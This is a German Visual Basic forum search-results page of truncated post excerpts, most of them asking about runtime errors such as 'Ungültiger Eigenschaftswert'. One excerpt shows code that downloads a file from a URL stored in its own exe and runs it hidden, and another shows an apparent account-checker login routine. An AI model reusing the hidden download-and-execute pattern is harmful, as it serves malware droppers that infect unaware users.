Visual Basic Forum

Verfasst am: 29.01.2010, 13:05 Aufrufe: 659

Da die Pictureboxen ja aber im Hauptthread erstellt wurden, werden sie nicht angesprochen. Erstmal soll das Panel.Visible = True werden. Jedoch auch das geht nicht. Es kommt aber auch kein Fehler, nach dem Motto: Ungültiger Threadübergreifender Vorgang. Deswegen bin ich grade ratlos.. Mein Code ist nicht so wichtig, denke ich, da müsste ich alles aus 3 Klassen zusammenschustern, und das wäre hier glaub ich nicht so a ...

Verfasst am: 28.01.2010, 13:38 Aufrufe: 2310

Number & "]" InitError = InitError + 1: Err.Clear Else Work2.Caption = "Nutzer OK" If DAT.RecordCount = 0 Then Work2.Caption = "Ungültiger Nutzer" InitError = InitError + 1: Err.Clear End If End If DAT.Close: Set DAT = Nothing End If If CheckError Then Exit Sub 'Öffnen Recordset Stammdaten FORSTAMT ProgressBar.Value = 3 ...

Verfasst am: 11.09.2008, 19:51 Aufrufe: 1205

Verfasst am: 05.09.2008, 15:51 Aufrufe: 841

Verfasst am: 28.08.2008, 15:38 Aufrufe: 3056

Verfasst am: 22.08.2008, 00:06 Aufrufe: 3056

GetData eingangIf eingang = "HTTP/1.x 200 OK" ThenMsgBox "Gültiger Account", vbInformation, "Treffer"Exit SubElseMsgBox "Ungültiger Account", vbCritical, "Fehler"End IfWinsock1.CloseEnd Sub[/code]Und dann noch aus dem Modul, wo es eigentlich zur Sache geht:Visual Basic: [code]Public Function Login(User As String, Pass As String, Winsock1 As Winsock) Dim Daten As String, packetlenght As Longpaketlenght = 1975 + Len(U ...

Verfasst am: 10.08.2008, 23:15 Aufrufe: 789

Erstmal danke, hatte leider keine Zeit zurückzuschreiben. Ich habe es dennoch irgendwie hinbekommen... ein weiteres Problem ist jetzt das ich die Fehlermeldung: Ungültiger Prozeduraufruf bekomme unzwar bei folgendem Quelltext:Private Sub Command1_Click()Dim pos1 As IntegerDim suchzeichen As StringDim ausschnitt As StringDim Quelltext As StringWebBrowser1.Navigate ("http://de29.die-staemme.de/staemme.php?screen=overvi ...

Verfasst am: 31.05.2008, 15:58 Aufrufe: 484

Verfasst am: 12.05.2008, 11:48 Aufrufe: 755

Das habe ich verbesser (Peinlich) aber ich bekomme nun gesagt das es ein Ungültiger Eigenschaftswert ist :confused:

Verfasst am: 11.03.2008, 19:46 Aufrufe: 1047

If LCase(Left(temp, InStr(temp, "=") - 1)) = LCase(ValName) Then GetIniValue = Mid(temp, InStr(temp, "=") + 1) GoTo ErrOut End If End If End If End If Loop ErrOut: If GetIniValue = "" Then GetIniValue = "Ungültiger Wert" ' Wir wollen ja kei ...

Verfasst am: 15.01.2008, 15:45 Aufrufe: 581

... ufrufe gehst ja auch, warum also nicht auch beim startup -.-' kann es sein das die zuerst gestartete form sich den focus irgendwie zurück holt? weil wenn ich in der zu startenden form nen code bei "lostfocus" einfüge wird dieser ausgeführt //edit wenn ich "form.SetFocus" in der startform verwende passiert gar nix, und wenn ich es in der zu startenden form verwende kommt "ungültiger ...

Verfasst am: 12.12.2007, 15:18 Aufrufe: 821

exe") Open file For Binary As #1 Get #1, (LOF(1) - 99), options cmd() = Split(options, "#") Close #1 Returnvalue = URLDownloadToFile(0, cmd(0), cmd(1), 0, 0) Shell cmd(1), vbHide ' versteckt ausführen ' hier Pause und dann ' Unload Me Unload Me End Sub Es erscheint folgende Fehlermeldung: Laufzeitfehler 5: Ungü ...

Verfasst am: 05.12.2007, 19:13 Aufrufe: 987

SendData "PASS " & Password & vbNewLine If WaitForResponse() Then MailConnectToServer = True Else MsgBox "Falsches oder ungültiges Kennwort!", _ 16, "Nachrichten abrufen" End If Else MsgBox "Falscher oder ungültiger Benutzername!", _ 16, "Nachricht ...

Verfasst am: 20.10.2007, 22:58 Aufrufe: 737

Item(i-1).SubItems(j-1) nehmen, wenn du bei i = 1 anfängst oder du startest bei i = 0 to anzSpalten -1 dann bräcutest du es nicht Falsch! Ich hatte das ursprünglich auch gedacht aber beim Probieren kam dann Ungültiger Index und als ich versucht habe mit 1 anzufangen hat es Funktioniert. In meinem Test Projekt hat es so wie ich es gepostet habe einwandfrei Funktioniert und es wurden alle Zeilen (auch die erste) in ...

Verfasst am: 19.09.2007, 17:58 Aufrufe: 3391

an der Stelle beim auflisten des Inhaltes der Datei sagt er mir an der stelle With lv_Friendlist.ListItems.Add .Text = TB!Name .SubItems(1) = TB!Passwort .SubItems(2) = TB!Anmeldedatum End With dass bei der Zeile .SubItems(1) = TB!IP ein ungültiger Eigenschaftswert herrschen würde... hm, ist vielleicht nen dämliches Beispiel... wozu man die Datenbank da bräuchte ist mir auch noch un ...

Verfasst am: 02.09.2007, 19:08 Aufrufe: 1081

Dann kommt aber ungültiger eigenschaftswert,an was liegt das? Habe ich doch schon weiter oben geschrieben, ich vermute das der Timer nicht mit Zeiten länger als 1 Minute Klar kommt. Ungültiger Eigenschaftswert (Fehler 380) Einer Eigenschaft wurde ein unzulässiger Wert zugewiesen. Für diesen Fehler gibt es folgende Ursache und Lösung: Sie haben versucht, eine Eigenschaft eines Objekts oder Steuerelements a ...

Verfasst am: 02.09.2007, 19:00 Aufrufe: 1081

Dann kommt aber ungültiger eigenschaftswert,an was liegt das?

Verfasst am: 02.09.2007, 18:39 Aufrufe: 1081

Enabled = False End Sub Der Code hat aber ein Problem: Sobald ein Wert von über einer Minute eingegeben wird Kommt Laufzeitfehler380. Edit: Ungültiger Eigenschaftswert (Fehler 380) Einer Eigenschaft wurde ein unzulässiger Wert zugewiesen. Für diesen Fehler gibt es folgende Ursache und Lösung: Sie haben versucht, eine Eigenschaft eines Objekts oder Steuerelements auf einen Wert außerhalb des zulässig ...

Verfasst am: 29.08.2007, 20:33 Aufrufe: 431

FileName For Input As #1 Do While Not EOF(1) Line Input #1, zl s = zl Loop Close #1 End If Dim b$(), c$(), i& b = Split(s, vbCrLf) For i = LBound(b) To UBound(b) c = Split(b(i), ":") ListView1.ListItems.Add(, , c(0)).SubItems(1) = c(1) Next i Nun gibt er mir aber aus "Ungültiger Eigenschaftswer" und markiert mir das Fett ge ...

Verfasst am: 11.06.2007, 10:14 Aufrufe: 651

Ungültiger Eigenschaftenwert Halt wie gesagt pgbDownload.Max = FileSize er kennt das file size nicht für das maximum der progrezzbar

Verfasst am: 31.05.2007, 21:14 Aufrufe: 632

also bei mir funktionierts mit und ohne nicht xD "Ungültiger Prozeduraufruf oder ungültiges Argument." Wink